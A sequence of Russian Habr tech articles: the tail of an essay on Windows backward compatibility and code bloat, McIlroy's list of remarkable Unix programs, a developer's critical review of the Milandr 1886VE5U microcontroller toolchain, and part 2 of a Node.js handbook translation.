По сути, когда мы сохраняем поддержку устаревших технологий или специально внедряем ненужные опции чисто ради обратной совместимости (как этот менеджер памяти) — мы намеренно *ухудшаем* программное обеспечение по требованию менеджеров. Ведь главные метрики для менеджеров — это количество пользователей и объём продаж, а не какая-то «мифическая» производительность программы, объём кода и прочие второстепенные абстракции. Менеджеры вообще не понимают, почему это имеет значение.
Вообще, Windows 95 — легендарная система. Вместе с MacOS она сыграла историческую роль в переходе человечества с текстовых (Unix, DOS) на графические интерфейсы с использованием мыши. В 1995 году важность Windows 95 была настолько исключительной, что её [рекламировали из каждого утюга](https://rarehistoricalphotos.com/windows-95-launch-day-1995/).
*Счастливый покупатель урвал сразу две копии Windows 95 в день начала продаж 24 августа 1995 года, Сидней (Австралия), [источник](https://rarehistoricalphotos.com/windows-95-launch-day-1995/)*
Руководство MS понимало, что приоритетная задача для принятия публикой новой ОС — это совместимость приложений. Один из разработчиков Microsoft в те годы Раймонд Чен [вспоминает забавный факт](https://devblogs.microsoft.com/oldnewthing/20050824-11/?p=34463): чтобы обеспечить максимально широкий охват для тестирования приложений на совместимость, менеджер по разработке Windows 95 сел в свой пикап, поехал в местный магазин Egghead Software (специальные магазины, где продавался коробочный софт) и купил по одной копии всех программ в магазине:
> Затем он вернулся в Microsoft, выгрузил все коробки на столы в кафетерии и предложил каждому члену команды разработчиков Windows95 прийти и взять по две программы. Основные правила заключались в том, что вы должны установить программу, использовать её как обычный юзер — и составить отчёт на каждый найденный баг, даже самый мелкий… В обмен сотрудник получал право оставить эти программы себе бесплатно после выхода Windows 95 [нужно сказать, это очень ценное предложение, учитывая дороговизну коробочного софта в то время — прим. пер.]. Если вы справились с двумя программами, можно взять со стола ещё.
>
>
>
> Кафетерий заполнили разработчики из команды Windows 95, они рассматривали коробки с программами, словно искатели сокровищ на блошином рынке, которые потом хвастаются добычей друг перед другом.
>
>
>
> Я взял только одну программу — автоматический переводчик с английского на немецкий. Он работал нормально, только плохо переводил (понятно, что тут Windows ни при чём).
В общем, Microsoft была одержима обратной совместимостью. И это сохранилось в последующие годы. Каждая следующая версия Windows была *обязана* запускать все программы, которые запускались на предыдущей версии, дополнительно к нововведённым стандартам.
Инструмент [Compatibility Administrator](https://learn.microsoft.com/en-us/windows/deployment/planning/using-the-compatibility-administrator-tool) из комплекта [Assessment and Deployment Kit](https://learn.microsoft.com/en-us/windows-hardware/get-started/adk-install) (ADK) для каждой установленной программы под Windows показывает «исправления» (то есть трюки), сделанные в ОС для совместимости, то есть ради нормального запуска этой программы. Например, для игры Final Fantasy VII в Windows NT [был реализован хак](https://twitter.com/code_and_beer/status/1578089167279603715) под названием *Win95VersionLie*, который пытался убедить игру в том, что рабочее окружение соответствует Win 95 и содержит необходимые файлы (на самом деле они отсутствуют):
В базе «исправлений» Windows ADK много игр. Разработчики понимали, что это главные приложения, которые должны работать оптимально и без глюков, чтобы привлечь максимальное количество пользователей. В результате вносились изменения в саму ОС — отключались некоторые горячие клавиши в определённых ситуациях, создавались фиктивные файлы, эмуляции CD-ROM и виртуальные машины, только чтобы обмануть запущенную игру.
▍ Старый балласт
----------------
Всё это хорошо для любителей игр. Но погоня за обратной совместимостью распространяется не только на игры, но и на другие стандарты и протоколы. В итоге — сейчас за Windows тянется целый шлейф архаичных технологий, от которых компания не хочет (или не может) отказаться по требованию клиентов. Среди них:
* запуск древних 16-битных бинарников от Windows 1.0 (на 32-битной ОС) и почти всех приложений Win32 на Win64;
* поддержка старых форматов файлов, включая пакетные файлы;
* древний интерпретатор `cmd.exe` (от него не могут избавиться, потому что тысячи клиентов за десятилетия внедрили в продакшн миллионы пакетных файлов);
* старый формат реестра.
Поскольку новые функции добавляют, а старые не убирают, это естественным образом раздувает код. К 2017 году репозиторий Windows 10 вырос до [3,5 миллиона файлов и 300 ГБ кода](https://devblogs.microsoft.com/bharry/the-largest-git-repo-on-the-planet/). В команде Windows около 4000 разработчиков, а инженерная система ежедневно выдаёт 1760 лабораторных билдов» в 440 ветках в дополнение к тысячам билдов для проверки пул-реквестов.
В ядре Linux тоже есть проблемы с раздуванием кода, но гораздо в меньшей степени. Там Линус Торвальдс всё-таки понимает важность оптимизации и проводит строгую чистку кодовой базы. Например, 21 октября 2022 года он предложил [удалить из ядра поддержку процессорной архитектуры 80486](https://lkml.iu.edu/hypermail/linux/kernel/2210.2/08845.html) (80386 удалили в 2012-м). Такая оптимизация сократит потребление памяти и увеличит производительность ядра, поскольку в ядро непрерывно приходится вносить разные костыли (workarounds) для поддержки старых CPU.
По причине постоянных чисток ядро Linux всегда было гораздо эффективнее, безопаснее и производительнее, чем Windows. Сравните [две картинки](https://web.archive.org/web/20060615055607/http://blogs.zdnet.com/threatchaos/?p=311) ещё с 2006 года. На первой — стек системных вызовов в процессе работы веб-сервера Apache под Linux.
На второй — стек системных вызовов для веб-сервера Microsoft IIS под Windows.
Хотя в стремлении к рефакторингу главное — не переусердствовать. Есть примеры преждевременной, излишней оптимизации. Например, несколько дней назад из кодовой базы движка Blink (браузер Chromium) полностью [удалили код для рендеринга JPEG XL](https://bugs.chromium.org/p/chromium/issues/detail?id=1178058#c84) (раньше это была экспериментальная функция за флажком, отключённая по умолчанию). Такое решение разработчиков и вызвало [бурные споры](https://news.ycombinator.com/item?id=33399940), потому что [JPEG XL превосходит WebP и AVIF](https://docs.google.com/spreadsheets/d/1ju4q1WkaXT7WoxZINmQpf4ElgMD2VMlqeDN2DuZ6yJ8/edit#gid=174429822) по уровню сжатия без потерь, а в тестах на сжатие с потерями результаты противоречивые.
Близкий к нам пример — намерение разработчиков Хабра [полностью удалить старый редактор](https://habr.com/ru/company/habr/blog/552384/) в пользу нового, чтобы сократить расходы на поддержку двух несовместимых редакторов.
В то же время новый редактор настолько глючный, что одна мысль о принудительном переходе на него [вызывает ужас](https://habr.com/ru/company/jugru/blog/539964/) у некоторых пользователей. Если такое случится, это будет ещё одним примером «преждевременной оптимизации».
В общем, удаление старого кода (и функций) из приложений является скорее исключением в современной разработке, чем правилом. Но тут главное — не переборщить.
▍ Любой код — временный
-----------------------
Теоретически — решением проблемы легаси может быть введение более чёткой концепции жизненного цикла программного обеспечения (software lifecycle). В частности, изначально при написании любого кода устанавливать чёткий срок его поддержки, после которого он признаётся «устаревшим» и изымается из использования. Грубо говоря, у каждой новой строчки кода должен быть метатег со сроком её жизни.
Многие думают, что [существующая концепция](https://en.wikipedia.org/wiki/Systems_development_life_cycle) жизненного цикла разработки (SDLC) будто не предусматривает вывод из строя ПО по окончании поддержки. Обычно распространяют [такую схему](https://en.wikipedia.org/wiki/Systems_development_life_cycle#/media/File:SDLC-Maintenance-Highlighted.png) жизненного цикла:
Однако в [полной версии SDLC](https://csrc.nist.gov/csrc/media/publications/shared/documents/itl-bulletin/itlbul2009-04.pdf) по истечении жизненного срока программный код подлежит замене. В оригинальном документе NIST после фазы «Поддержка» следует фаза «Вывод из строя» (Sunset) и «Замена» (Disposal), см. диаграмму на [третьей странице PDF](https://csrc.nist.gov/csrc/media/publications/shared/documents/itl-bulletin/itlbul2009-04.pdf):
Чтобы сделать более явной необходимость замены устаревшего кода, можно изначально устанавливать для него конкретный срок жизни. Возможно, такие меры позволят стимулировать прогресс в индустрии и решить проблему с ожирением софта, который становится всё более тяжеловесным и тормозным.
Отлично помогают в этой реформе новые, более продвинутые языки программирования, такие как [Rust](https://www.rust-lang.org/). Самим фактом своего появления он как бы намекает на возможность переписать всё с нуля, в лучшем виде.
С другой стороны, наивно требовать от коммерческих компаний следовать методологии, которая противоречит правилам бизнеса. А у бизнеса нет *никаких проблем* с легаси, пока то не затрудняет дальнейшую разработку и продажи. Оптимальный код или неоптимальный — это их вообще не волнует. Лишь бы продукт продавался и удовлетворял нужды клиентов.
> **[Telegram-канал с полезностями](https://inlnk.ru/dn6PzK) и [уютный чат](https://inlnk.ru/ZZMz0Y)**
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=alizar&utm_content=kak_portyat_soft_radi_obratnoj_sovmestimosti)
|
https://habr.com/ru/post/697048/
| null |
ru
| null |
# Самые замечательные программы Unix
*Автор статьи Дуглас Макилрой — американский математик, инженер и программист. Наиболее известен разработкой конвейера в операционной системе Unix, принципов компонентно-ориентированного программирования и нескольких оригинальных утилит: spell, diff, sort, join, speak, tr.*
Иногда вам попадаются действительно замечательные программы. Покопавшись в памяти, я составил список настоящих жемчужин Unix за все годы. В основном, это довольно редкие и не такие уж необходимые программы. Но что их выделяет, так это оригинальность. Даже представить не могу, чтобы мне самому пришла идея какой-нибудь из них.
Поделитесь, какие программы вас тоже настолько поразили?
PDP-7 Unix
==========
Для начала, сама система PDP-7 Unix. Её простота и мощь заставили меня перейти с мощного мейнфрейма на крошечную машину. Здесь квинтэссенция иерархической файловой системы, отдельная оболочка и управление процессами на уровне пользователя, что Multics на мейнфреймах не смогла реализовать после сотен человеко-лет разработки. Недостатки Unix (например, структура записей в файловой системе) были столь же поучительными и освобождающими, как и её новшества (например, перенаправление ввода-вывода в оболочке).
dc
==
Математическая библиотека для настольного калькулятора c переменной точностью Роберта Морриса использовала обратный анализ ошибок для определения точности, необходимой на каждом шаге для достижения заданной пользователем точности результата. На конференции НАТО по программной инженерии 1968 года в своём докладе о программных компонентах я предложил эталонные процедуры, которые могут дать результат любой желаемой точности, но я не знал, как их реализовать на практике. dc до сих пор остаётся единственной известной мне программой, способной на такое.
typo
====
Typo упорядочивает слова в тексте по их сходству с остальным текстом. Очепятки вроде 'hte' имеют тенденцию располагаться в конце списка. Роберт Моррис с гордостью говорил, что программа будет одинаково хорошо работать для любого языка. Хотя typo не помогает найти фонетические ошибки, она стала настоящей находкой для всех, кто набирает текст, и принесла много пользы до того, как появилась гораздо менее интересная, но более точная проверка орфографии по словарю.
Typo настолько же неожиданно устроена внутри, как и снаружи. Алгоритм измерения сходства основан на частоте появления триграмм, которые считаются в массиве 26×26×26. В крошечной памяти едва хватало места для однобайтовых счётчиков, поэтому была реализована схема сжатия больших чисел в маленькие счётчики. Чтобы избежать переполнения, счётчики обновлялись на вероятностной основе, поддерживая оценку логарифма значения счётчика.
eqn
===
С появлением фотонабора стало возможным, но ужасно утомительно выводить классическую математическую нотацию. Лоринда Черри решила разработать язык описания более высокого уровня, и вскоре к ней присоединился Брайан Керниган. Их блестящий ход состоял в том, чтобы выразить устную традицию в письменном виде, поэтому eqn оказался удивительно простым в изучении. Первый в своём роде препроцессор языка описания математических выражений, eqn с тех пор почти не улучшался.
struct
======
Бренда Бейкер затеяла разработку своего конвертера Fortan-to-Ratfor вопреки совету своего начальника — меня. Я подумал, что это может привести к специальному переупорядочиванию исходного текста. Он будет свободен от номеров операторов, но в остальном не более читаемый, чем грамотно структурированный код Fortran. Бренда доказала, что я ошибаюсь. Она обнаружила, что у каждой программы Fortran есть канонически структурированная форма. Программисты предпочитали каноническую форму, а не то, что сами изначально написали.
pascal
======
Диагностика синтаксиса в компиляторе, созданном группой Сью Грэхем в Беркли, была самой полезной из всех, что я когда-либо видел — и она проводилась автоматически. При синтаксической ошибке компилятор предлагает вставить лексему, чтобы продолжить синтаксический анализ. Никаких попыток объяснить, что не так. С этим компилятором я выучил Паскаль за один вечер, не имея под рукой никакого руководства.
parts
=====
Спрятанный внутри пакета WWB (Writer's Workbench) модуль `parts` Лоринды Черри определяет части речи для слов в тексте на английском языке на базе только маленького словаря, правилах орфографии и грамматики. По этой аннотации программа WWB выводит стилометрические показатели текста, такие как преобладание прилагательных, придаточных предложений и сложных предложений. Когда Лоринда дала интервью в телепередаче Today на канале NBC и рассказала об инновационной проверке грамматики в текстах WWB, это было первое упоминание Unix на телевидении.
egrep
=====
Аль Ахо рассчитывал, что его детерминированный распознаватель регулярных выражений обгонит классический недетерминированный распознаватель Кена. К сожалению, последний уже завершал проход по сложным регулярным выражениям, пока `egrep` строил свою детерминированную автоматику. Чтобы всё-таки победить в этой гонке, Аль Ахо обошёл проклятие экспоненциального роста таблицы состояний автомата, изобретя способ построения на лету только тех записей таблицы, которые действительно посещаются во время распознавания.
crabs
=====
Очаровательная мета-программа Луки Карделли для оконной системы Blit выпускала виртуальных крабов, которые бродили по пустому пространству экрана, всё больше и больше откусывая края активных окон.
Некоторые общие мысли
=====================
Хотя это не видно извне, но теория и алгоритмы сыграли решающую роль в создании большинства этих программ: typo, dc, struct, pascal, egrep. На самом деле больше всего удивляет именно необычное применение теории.
Оригинальными авторами почти половины списка — pascal, struct, parts, eqn — были женщины, что значительно превосходит демографическую долю женщин в области компьютерных наук.
*Дуглас Макилрой
Март, 2020*
|
https://habr.com/ru/post/495550/
| null |
ru
| null |
# Несколько слов про «наш» микроконтроллер
В статье речь пойдёт про отечественный МК фирмы Миландр 1886ВЕ5У, будет совсем немного кода и много нытья.
Данный МК построен на ядре PIC17, что заметно при разработке — так как у меня уже есть солидная кодовая база для PIC, мне было чуть проще начать. Также под данный МК можно приобрести отладочную плату — о ней я тоже пару слов напишу.
Я расскажу с какими проблемами столкнулся при разработке прошивки, что понравилось, а что не очень. Всё написанное — моё личное субъективное мнение, потому, сразу оговорюсь, возможно будут описаны проблемы, которые и не проблемы вовсе, а совсем даже особенности и которых можно было бы избежать, обладай я большим опытом разработки.
Итак, поехали.
Первое, с чем в 2017-м году столкнётся желающий использовать в своих разработках МК от Миландра — это сложности с покупкой. Даже не говоря о цене, вам для этого скорее всего потребуется как минимум какое-нибудь юр.лицо. По крайней мере, когда я звонил им в отдел маркетинга и узнавал о покупке как физ.лицо, мне ясно дали понять, что в этом случае мне проще будет найти какого-нибудь поставщика (цены у которых ещё выше). В общем, с маркетингом всё печально. С другой стороны, сайт они вон уже обновили, может и до маркетинговой политики руки дойдут как-нибудь.
### Корявая документация
Несмотря на то что 1886ВЕ5У вышел уже лет пять назад минимум, «детские болезни» никуда не делись. При чтении тех.документации создаётся ощущение, что делали её наспех. Нет, критически важная информация там, в принципе, присутствует, только вот структурирована она достаточно странно. В тексте периодически встречаются опечатки, да и сама структура документа, на мой взгляд, не блещет логичностью. В итоге при разработке вместо изучения одного единого документа периодически приходится метаться между несколькими открытыми окнами или искать нужные в текущий момент фрагменты в основном даташите, которые могут располагаться в документе достаточно далеко друг от друга, даже если относятся к одному блоку чипа.
Ещё например, странно, что руководство по прошивке чипа вынесено в отдельный документ. Может это и удобно в каких-то случаях, но почему бы не сделать отдельную главу или приложение к основному даташиту?
В качестве иллюстрации приведу один пример. Для расчёта скорости CAN-интерфейса нам предлагают воспользоваться несколькими формулами.
При расчёте получается, что итоговая формула, фактически, будет иметь пять параметров (`BRP, PRSEG, SEG1, SEG2, Fosc`). Сама формула и зависимость параметров от значений бит в регистрах разнесены страниц на пятнадцать. В итоге, проще сделать скрин с таблицей значений регистров и открывать его в пэинте, пока разбираешься с формулой.
Вообще, даже сам подход с формулами это тот ещё изварт. Чёткая формула это, конечно, прекрасно, но каждый раз пересчитывать значения в уме или на бумажке это то ещё удовольствие. Я, например, в итоге, запилил формулу в Mathcad и считал уже в нём.
Вопрос к составителям документации — собственно, а в чём проблема была добавить всего пару страниц с таблицами, содержащими базовые значения при нескольких значениях параметров? За примером далеко ходить не надо — даже в документации на PIC такие таблицы есть, например, в разделах про настройку скорости UART.
Кстати, отдельно хочется отметить интересный момент, возможно, кому-то будет полезно на будущее. Я не отношу себя к знатокам CAN-интерфейса, вполне возможно, что это справедливо для любых устройств CAN, а не только в этом конкретном случае. Также, возможно, это особенность унаследована от PIC17, хотя я сходу не смог найти PIC17 с CAN интерфейсом.
В общем, если у нас есть два устройства на 1886ВЕ5У, одно из которых работает на 16 МГц (отладочная плата, например), а второе на 10 МГц (наша железка), то связать их, скорее всего, получится только на низкой скорости, и то не факт. И вот почему.
Во первых — максимальная скорость (для железки работающей на 10 МГц) при всех выключенных делителях ограничена 390.6 кБит/с.
Во вторых — при 10 МГц дискретность изменения такова, что получить, например, стандартные 250, 125 или 100 кБит/с никак не получится. По расчётам самое близкое получается, например 104.2 кБит/с (`BRP=1, PRSEG=1, SEG1=5, SEG2=5`). В общем, ошибка в несколько % так или иначе будет присутствовать. Я уже писал выше — пока ещё я не дофига спец в данном протоколе, возможно он и с такой ошибкой заработает на низких скоростях — в конце концов у данной шины весьма большой запас по надёжности передачи данных.
В итоге быстрее оказалось поменять на своей плате резонатор на 16 МГц. Так или иначе, возможности проверить работу на низких скоростях у меня не было, а почему — я расскажу в следующем пункте.
### Невозможность редактировать исходный код прошивки для отладочной платы
Вообще вся «демо-программа» для работы с отладочной платой на PC (называется она, почему-то, *Eval12.exe*) достаточно убогая. Из настроек там буквально только параметры COM-порта, через который вы будете с платой связываться и всё. Ну то есть, вообще всё. Скорость CAN изменить через неё никак нельзя. Изменять параметры МК, установленного в отладочную плату тоже нельзя, хотя это бывает весьма кстати.
Когда я столкнулся с разностью физических скоростей CAN и просчитал все возможные варианты по формуле, то понял, что для отладки придётся менять код отладочной платы, потому что задать скорость работы CAN-модуля в текущем варианте можно только в исходниках при компиляции.
Далее я взял исходники из папки Demo\_CAN, которая шла на диске с отладочной платой, надеясь просто перекомпилировать их, задав необходимые BRP, PRSEG, SEG1, SEG2. При попытке компиляции данного проекта IDE выдала прекрасную ошибку:
`"Программа защищена. По вопросам приобретения обратитесь в компанию МИЛАНДР."`
Я не стал разбираться в механзимах защиты — очевидно, что можно использовать какие-то куски кода из демонстрационной программы и написать свою, но сам факт, что я не могу вот так просто править код демо-программы для отладочной платы лично меня очень удивляет, это же абсурд.
### Бардак в заголовочных файлах
С диска, который шёл с отладочной платой я забрал папку "*komplekt\_1886BE5\Демо программы*".
Там лежали отдельные папки с исходниками примеров работы с CAN и LIN.
При этом в main.c этих исходников были включён следующий хедер:
`#include`
Собственно, в тех примерах, где он включался, данный хедер лежал в папке с примерами.
Далее, последовав совету тех.поддержки (пользуясь случаем, хочу поблагодарить сих достойнейших граждан за терпение и профессионализм — помогли мне решить пару тупых вопросов) я скачал с сайта Миландра IDE (Dev-C++ какой-то древней версии) и компилятор (CC7A).
Каково же было моё удивление, когда IDE отказалась собирать мой исходник с указанным выше хедером. Далее выяснилось, что с компилятором под мой чип идёт свой хедер — *1886VE5.h*
Чтобы использовать куски кода из исходников демо-платы пришлось ещё потратить время, заменяя имена регистров на значения из нового хедера. После чего мне удалось-таки собрать свою программу с частями из демо-примеров, которая работала так, как я от неё ожидал.
Наверное на диск каким-то образом попали примеры для тестовых образцов, нормально это или нет, решайте сами. В тех.поддержке на этот вопрос вообще только лишь удивились — дескать у меня этих заголовочных файлов вообще быть не должно.
В общем-то проблема не критичная, но осадочек, как говорится, остался.
### Среда, компилятор и их, кхм… особенности
В качестве среды и компилятора для 1886ВЕ5У Миландр предлагает нам использовать связку IDE1886 (на базе Dev-C++) и CC7A. В общем-то про среду ничего особо плохого сказать не могу — с программатором работает нормально, отладчик тоже вроде сносно отлаживает, разве что подсветка синтаксиса печальная, конечно. Наверняка есть какие-нибудь плагины или ещё что-то, но по дефолту это прям чуть ли не Виндовый блокнот — выделяет камменты, инклюды и некоторые ключевые слова, на этом бонусы редактора заканчиваются.
Из небольших косяков UX — моего опыта так и не хватило чтобы разобраться как же мне добавлять нужный мне регистр в наблюдаемые. По имени переменной и адресу (как описано в руководстве) IDE их не добавляет почему-то. Странно, что IDE сама не может отобразить все доступные для наблюдения регистры.
Ещё один момент, конечно, скорее говорит о моём малом опыте разработчика, но каково же было моё удивление, когда я, после нескольких часов ковыряния в отладчике и попытках разобраться почему же генерируемый компилятором ассемблерный код работает так странно, прочёл в документации, что тип `int` по умолчанию у данного компилятора имеет размер 8 бит, а не 16, как принято в том же XC8 для PIC.
Поэтому скажу банальность, но всё же — внимательней изучайте документацию перед разработкой =)
Следующая особенность компилятора меня вообще ввела в ступор на некоторое время. Вполне возможно, тут я очередной раз продемонстрирую свою низкую компетенцию — может быть дело в том, что этот компилятор просто заточен под какой-нибудь старый стандарт Си года 90-ого, когда это было нормой, а я просто этого не знаю, или что-то вроде того. В общем, дабы не быть голословным, приведу немного кода, надеюсь сообщество рассудит.
Компилятор совершенно не способен переварить вот такую несложную конструкцию:
```
TXSTA1 = ((CSRC & 0x01) << 7) | ((TX9 & 0x01) << 6) |((TXEN & 0x01) << 5) |((SYNC & 0x01) << 4);
```
На это он просто выдаёт сакраментальное: `"Unable to generate code."`
Чтобы он понял чего я от него хочу, приходится расписывать это на банальный и объёмный код:
```
temp0 = ((CSRC & 0x01) << 7);
temp1 = ((TX9 & 0x01) << 6);
temp2 = ((TXEN & 0x01) << 5);
temp3 = ((SYNC & 0x01) << 4);
```
По всей видимости, у него просто есть некий уровень вложенности скобок, глубже которого он даже не пытается распарсить код и вываливается с ошибкой.
Нет, ну серьёзно, я понимаю, что функционал компилятора видимо обусловлен его ценой, но уж в 2017-м году можно было бы уже как-то научить его это разбирать.
### Напоследок
Есть ещё один момент, вероятно, связанный с архитектурой ядра. В описании к 1886ВЕ5У на сайте Миландра можно найти упоминание, что он построен на ядре PIC17. Я так понимаю, что данная особенность, свойственна всем контроллерам на ядре PIC17 — при возникновении прерывания, они не сохраняют состояние регистров, соответственно, этот момент надо реализовывать программно при необходимости. Вот это меня, честно говоря, тоже поразило — неужели в 1886ВЕ5У никак нельзя было реализовать это аппаратно?
Вообще, попробовав писать под данный МК я был вынужден ковыряться в ассемблерном коде, разбираться что это там за циферки меняются в окне «RAM» во время отладки и прочее. Это, безусловно, повысило мою квалификацию как разработчика, поскольку я чуть лучше стал понимать что там внутри и как работает. Однако, после того же Microchip'а (который частенько ругают за «безумную» Errata), кодинг под «наш» МК ощущается прям как программирование под какой-нибудь 386-й в DOS. Кстати, по поводу Errata — к данному МК вообще ничего типа Errata нет.
Ни сколько не умаляю достоинство наших разработчиков из Миландра — сама железка вроде бы вполне исправно завелась у меня и работает, но вот поддержка ПО и среды разработки выглядит так, будто делают всё наспех. Возвращаясь к вопросу, поднятому в заголовке — сравнение IDE1886 с тем же MPLAB пока отнюдь не в пользу первой. Единственный плюс IDE1886 это компактность и возможность работать без установки, но не думаю, что это такие уж критичные моменты.
Очень надеюсь, что за ближайшие несколько лет разработчикам удастся подтянуть этот показатель к уровню ведущих брендов.
|
https://habr.com/ru/post/330384/
| null |
ru
| null |
# Руководство по Node.js, часть 2: JavaScript, V8, некоторые приёмы разработки
Публикуя [первую часть](https://habr.com/company/ruvds/blog/422893/) перевода [этого](https://medium.freecodecamp.org/the-definitive-node-js-handbook-6912378afc6e) руководства по Node.js, мы решили узнать мнение аудитории о том, стоит ли нам продолжать работу над проектом, и провели небольшой опрос. Как оказалось, нашу инициативу поддержали примерно 94% проголосовавших. Поэтому встречайте вторую часть руководства по Node.js.
[](https://habr.com/company/ruvds/blog/423153/)
Сегодня мы поговорим о том, какими знаниями в области JS нужно обладать для того, чтобы продуктивно разрабатывать приложения для платформы Node.js, обсудим различия браузерного и серверного JavaScript-кода, поговорим о JS-движках и о некоторых приёмах Node.js-разработки.
**[Советуем почитать] Другие части цикла**Часть 1: [Общие сведения и начало работы](https://habr.com/company/ruvds/blog/422893/)
Часть 2: [JavaScript, V8, некоторые приёмы разработки](https://habr.com/company/ruvds/blog/423153/)
Часть 3: [Хостинг, REPL, работа с консолью, модули](https://habr.com/company/ruvds/blog/423701/)
Часть 4: [npm, файлы package.json и package-lock.json](https://habr.com/company/ruvds/blog/423703/)
Часть 5: [npm и npx](https://habr.com/company/ruvds/blog/423705/)
Часть 6: [цикл событий, стек вызовов, таймеры](https://habr.com/company/ruvds/blog/424553/)
Часть 7: [асинхронное программирование](https://habr.com/company/ruvds/blog/424555/)
Часть 8: [Руководство по Node.js, часть 8: протоколы HTTP и WebSocket](https://habr.com/company/ruvds/blog/424557/)
Часть 9: [Руководство по Node.js, часть 9: работа с файловой системой](https://habr.com/company/ruvds/blog/424969/)
Часть 10: [Руководство по Node.js, часть 10: стандартные модули, потоки, базы данных, NODE\_ENV](https://habr.com/company/ruvds/blog/425667/)
[Полная PDF-версия руководства по Node.js](https://habr.com/company/ruvds/blog/428576/)
Какими JS-знаниями нужно обладать для Node.js-разработки?
---------------------------------------------------------
Предположим, вы только начали заниматься программированием. Насколько глубоко вам нужно изучить JavaScript для успешного освоения Node.js? Начинающему трудно достичь такого уровня, когда он приобретёт достаточную уверенность в своих профессиональных навыках. К тому же, изучая программирование, вы можете почувствовать, что не понимаете точно, где заканчивается браузерный JavaScript и начинается разработка для Node.js.
Если вы находитесь в самом начале пути JavaScript-программиста, я посоветовал бы вам, прежде чем писать для Node.js, хорошо освоить следующие концепции языка:
* Лексические конструкции.
* Выражения.
* Типы.
* Переменные.
* Функции.
* Ключевое слово this.
* Стрелочные функции
* Циклы
* Области видимости.
* Массивы.
* Шаблонные строки.
* Применение точки с запятой.
* Работа в строгом режиме.
На самом деле, этот список можно продолжать, но если вы всё это освоите, это значит, что вы заложите хорошую базу для продуктивной клиентской и серверной разработки на JavaScript.
Следующие концепции языка, кроме того, весьма важны для понимания идей асинхронного программирования, которые являются одной из базовых частей Node.js. В частности, речь идёт о следующем:
* Асинхронное программирование и функции обратного вызова.
* Таймеры.
* Промисы.
* Конструкция async/await.
* Замыкания.
* Цикл событий.
Существует множество материалов по JavaScript, которые позволяют начинающим освоить язык. Например, [вот](https://flaviocopes.com/javascript/) учебный курс автора данного руководства, [вот](https://developer.mozilla.org/ru/docs/Web/JavaScript) весьма полезный раздел MDN, [вот](https://learn.javascript.ru/) учебник сайта javascript.ru. Изучить базовые механизмы JavaScript можно на [freecodecamp.com](https://www.freecodecamp.org/).
Выше мы говорили о том, что начинающих может беспокоить вопрос о том, где проходит граница между серверной и клиентской разработкой на JavaScript. Поговорим об этом.
Различия между платформой Node.js и браузером
---------------------------------------------
Чем JS-разработка для Node.js отличается от браузерного программирования? Сходство между этими средами заключается в том, что и там и там используется один и тот же язык. Но разработка приложений, рассчитанных на выполнение в браузере, очень сильно отличается от разработки серверных приложений. Несмотря на использование одного и того же языка, существуют некоторые ключевые различия, которые и превращают два эти вида разработки в совершенно разные занятия.
Надо отметить, что если тот, кто раньше занимался фронтендом, начинает изучать Node.js, у него имеется весьма серьёзная возможность довольно быстро освоить всё что нужно благодаря тому, что писать он будет на уже знакомом ему языке. Если к необходимости освоить новую среду добавляется ещё и необходимость изучить новый язык, задача значительно усложняется.
Итак главное различие между клиентом и сервером заключается в окружении, для которого приходится программировать, в экосистемах этих сред.
В браузере основной объём работы приходится на выполнение различных операций с веб-документами посредством DOM, а также — на использование других API веб-платформы, таких, скажем, как механизмы для работы с куки-файлами. Всего этого в Node.js, конечно, нет. Тут нет ни объекта `document`, ни объекта `window`, равно как и других объектов, предоставляемых браузером.
В браузере, в свою очередь, нет тех программных механизмов, которые имеются в среде Node.js и существуют в виде модулей, которые можно подключать к приложению. Например, это API для доступа к файловой системе.
Ещё одно различие между клиентской и серверной разработкой на JS заключается в том, что при работе в среде Node.js разработчик полностью контролирует окружение. Если только вы не занимаетесь разработкой опенсорсного приложения, которое может быть запущено где угодно, вы точно знаете, например, на какой версии Node.js будет работать ваш проект. Это очень удобно в сравнении с клиентским окружением, где вашему коду приходится работать в имеющемся у пользователя браузере. Кроме того, это означает, что вы можете, не опасаясь проблем, пользоваться новейшими возможностями языка.
Так как JavaScript крайне быстро развивается, браузеры просто не успевают достаточно оперативно реализовать все его новшества. К тому же, далеко не все пользователи работают на самых свежих версиях браузеров. В результате разработчики, которые хотят использовать в своих программах что-то новое, вынуждены это учитывать, заботиться о совместимости их приложений с используемыми браузерами, что может вылиться в необходимость отказа от современных возможностей JavaScript. Можно, конечно, для преобразования кода в формат, совместимый со стандартом EcmaScript 5, который поддерживают все браузеры, воспользоваться транспилятором Babel, но при работе с Node.js вам это не понадобится.
Ещё одно различие между Node.js и браузерами заключается в том, что в Node.js используется система модулей [CommonJS](https://flaviocopes.com/commonjs/), в то время как в браузерах можно наблюдать начало реализации стандарта ES Modules. На практике это означает, что в настоящее время в Node.js, для подключения внешнего кода, используется конструкция `require()`, а в браузерном коде — `import`.
V8 и другие JavaScript-движки
-----------------------------
V8 — это название JavaScript-движка, используемого в браузере Google Chrome. Именно он отвечает за выполнение JavaScript-кода, который попадает в браузер при работе в интернете. V8 предоставляет среду выполнения для JavaScript. DOM и другие API веб-платформы предоставляются браузером.
JS-движок независим от браузера, в котором он работает. Именно этот факт сделал возможным появление и развитие платформы Node.js. V8 был выбран в качестве движка для Node.js в 2009 году. В результате прямо-таки взрывного роста популярности Node.js V8 оказался движком, который в наши дни отвечает за выполнение огромного количества серверного JS-кода.
Экосистема Node.js огромна. Благодаря этому V8 также используется, посредством проектов наподобие [Electron](https://electronjs.org/), при разработке настольных приложений.
Надо отметить, что, помимо V8, существуют и другие движки:
* В браузере Firefox применяется движок [SpiderMonkey](https://developer.mozilla.org/en-US/docs/Mozilla/Projects/SpiderMonkey).
* В Safari применяется [JavaScriptCore](https://developer.apple.com/documentation/javascriptcore) (он ещё называется Nitro).
* В Edge используется движок [Chakra](https://github.com/Microsoft/ChakraCore).
Список JS-движков этим не ограничивается.
Эти движки реализуют спецификацию ECMA-262, называемую ещё ECMAScript. Именно эта спецификация стандартизирует JavaScript. Свежую версию стандарта можно найти [здесь](https://www.ecma-international.org/publications/standards/Ecma-262.htm).
### ▍Разработка JS-движков и стремление к производительности
Движок V8 написан на C++, его постоянно улучшают. Он может выполняться на многих системах, в частности, на Mac, Windows и Linux. Здесь мы не будем говорить о деталях реализации V8. Сведения о них можно найти в других публикациях, в том числе — на [официальном сайте V8](https://developers.google.com/v8/). Они со временем меняются, иногда — очень серьёзно.
